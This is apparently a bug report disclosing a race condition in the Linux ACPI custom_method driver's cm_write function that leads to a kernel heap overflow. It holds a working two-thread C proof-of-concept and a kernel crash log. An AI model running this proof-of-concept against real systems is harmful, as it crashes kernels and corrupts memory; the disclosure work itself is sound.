Hi, I found linux kernel bug. so report this! I want to get credit(CVE) I look forward to your reply. Linux custom_mehtod driver race condition to heap overflow https://android.googlesource.com/kernel/common/+/refs/heads/android-4.14-p/drivers/acpi/custom_method.c https://github.com/torvalds/linux/blob/master/drivers/acpi/custom_method.c The cm_write function in custom_method.c has a race condition vulnerability. static ssize_t cm_write(struct file *file, const char __user * user_buf, size_t count, loff_t *ppos) { static char *buf; static u32 max_size; static u32 uncopied_bytes; …. …. } This static local variable is used, but no mutex lock is used. So race condition occurs. A race condition can cause a heap overflow. /* /sys/kernel/debug/acpi/custom_method */ static ssize_t cm_write(struct file *file, const char __user * user_buf, size_t count, loff_t *ppos) { static char *buf; static u32 max_size; static u32 uncopied_bytes; struct acpi_table_header table; acpi_status status; if (!(*ppos)) { /* parse the table header to get the table length */ if (count <= sizeof(struct acpi_table_header)) return -EINVAL; if (copy_from_user(&table, user_buf, sizeof(struct acpi_table_header))) return -EFAULT; uncopied_bytes = max_size = table.length; // controll max_size. buf = kzalloc(max_size, GFP_KERNEL); if (!buf) return -ENOMEM; } if (buf == NULL) return -EINVAL; if ((*ppos > max_size) || (*ppos + count > max_size) || (*ppos + count < count) || (count > uncopied_bytes)) return -EINVAL; if (copy_from_user(buf + (*ppos), user_buf, count)) { // heap overflow kfree(buf); buf = NULL; return -EFAULT; } uncopied_bytes -= count; *ppos += count; if (!uncopied_bytes) { status = acpi_install_method(buf); kfree(buf); buf = NULL; if (ACPI_FAILURE(status)) return -EINVAL; add_taint(TAINT_OVERRIDDEN_ACPI_TABLE, LOCKDEP_NOW_UNRELIABLE); } return count; }. if (copy_from_user(&table, user_buf, sizeof(struct acpi_table_header))) return -EFAULT; uncopied_bytes = max_size = table.length; // controll max_size. buf = kzalloc(max_size, GFP_KERNEL); … … … if (copy_from_user(buf + (*ppos), user_buf, count)) { // heap overflow First, in thread 1, max_size is set to 0x1000 and kzalloc is allocated to 0x1000. and Copy user input to copy_from_user in the allocated heap space. Just before copying from copy_from_user, we assign 0x100 to kzalloc for buf on thread 2. Then, thread 1 copies 0x1000 to the reallocated 0x100 heap space, causing a heap overflow. This is My POC Code. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <pthread.h> #include <sys/types.h> #include <sys/ioctl.h> typedef unsigned int u32; typedef unsigned char u8; int fd, fd2; #define ACPI_NAME_SIZE 4 #define ACPI_OEM_ID_SIZE 6 #define ACPI_OEM_TABLE_ID_SIZE 8 struct acpi_table_header { char signature[ACPI_NAME_SIZE]; /* ASCII table signature */ u32 length; /* Length of table in bytes, including this header */ u8 revision; /* ACPI Specification minor version number */ u8 checksum; /* To make sum of entire table == 0 */ char oem_id[ACPI_OEM_ID_SIZE]; /* ASCII OEM identification */ char oem_table_id[ACPI_OEM_TABLE_ID_SIZE]; /* ASCII OEM table identification */ u32 oem_revision; /* OEM revision number */ char asl_compiler_id[ACPI_NAME_SIZE]; /* ASCII ASL compiler vendor ID */ u32 asl_compiler_revision; /* ASL compiler version */ char buf[0x10000]; } ; void *thread1(void *arg) { struct acpi_table_header abc; memset(&abc, 0, sizeof(abc)); while(1) { abc.length = 0x100; write(fd, &abc, 0x10000); } } void *thread2(void *arg) { struct acpi_table_header abc; memset(&abc, 0, sizeof(abc)); while(1) { abc.length = 0x10000; write(fd2, &abc, 0x10000); } } int main(int argc, char *argv[]) { fd = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY); fd2 = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY); pthread_t tid; pthread_create(&tid, NULL, thread1, NULL); pthread_create(&tid, NULL, thread2, NULL); getchar(); return 0; } [ 817.068780][ T5809] usercopy: Kernel memory overwrite attempt detected to SLAB object 'kmalloc-256' (offset 0, size 65536)! [ 817.069671][ T5809] ------------[ cut here ]------------ [ 817.069998][ T5809] kernel BUG at mm/usercopy.c:98! [ 817.070304][ T5809] invalid opcode: 0000 [#1] PREEMPT SMP KASAN [ 817.070665][ T5809] CPU: 3 PID: 5809 Comm: custom_method_p Not tainted 5.3.0-rc8+ #4 [ 817.071151][ T5809] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 817.071772][ T5809] RIP: 0010:usercopy_abort+0xae/0xd0 [ 817.072083][ T5809] Code: 38 08 c4 ff 48 8b 45 c0 4d 89 e9 48 89 d9 4c 8b 45 c8 41 57 4c 89 e6 48 c7 c7 e0 3b 35 87 48 8b 55 d0 41 56 50 e8 16 56 af ff <0f> 0b 49 c7 c5 80 39 35 87 4c 89 e8 4d 89 e8 e9 76 ff ff ff 0f 1f [ 817.073260][ T5809] RSP: 0018:ffff888118fa7bf0 EFLAGS: 00010286 [ 817.073653][ T5809] RAX: 0000000000000067 RBX: ffffffff8815ee9f RCX: ffffffff815726b8 [ 817.074152][ T5809] RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffffffff89fca180 [ 817.074638][ T5809] RBP: ffff888118fa7c48 R08: ffffed102351e0d1 R09: ffffed102351e0d1 [ 817.075144][ T5809] R10: 0000000000000180 R11: ffffed102351e0d0 R12: ffffffff87353a40 [ 817.075611][ T5809] R13: ffffffff8815c4b5 R14: 0000000000000000 R15: 0000000000010000 [ 817.076078][ T5809] FS: 00007f5ae2831700(0000) GS:ffff88811a8c0000(0000) knlGS:0000000000000000 [ 817.076605][ T5809] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 817.076991][ T5809] CR2: 00007f5ae282f000 CR3: 0000000100bf6000 CR4: 00000000000006e0 [ 817.077502][ T5809] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 817.077968][ T5809] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 kernel panic log!